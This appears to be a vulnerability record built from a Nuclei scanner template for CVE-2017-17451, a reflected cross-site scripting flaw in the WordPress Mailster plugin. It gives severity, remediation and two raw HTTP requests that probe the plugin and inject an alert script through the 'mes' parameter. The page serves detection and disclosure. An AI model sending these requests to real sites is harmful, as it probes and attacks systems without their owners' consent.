| Title | WordPress Mailster <=1.5.4 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.13674 |
| CVE ID | CVE-2017-17451 |
| CWE ID | CWE-79 |
| Tags | cve cve2017 wordpress xss wp-plugin packetstorm wpmailster vuln |
WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17451.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-17451.pcap
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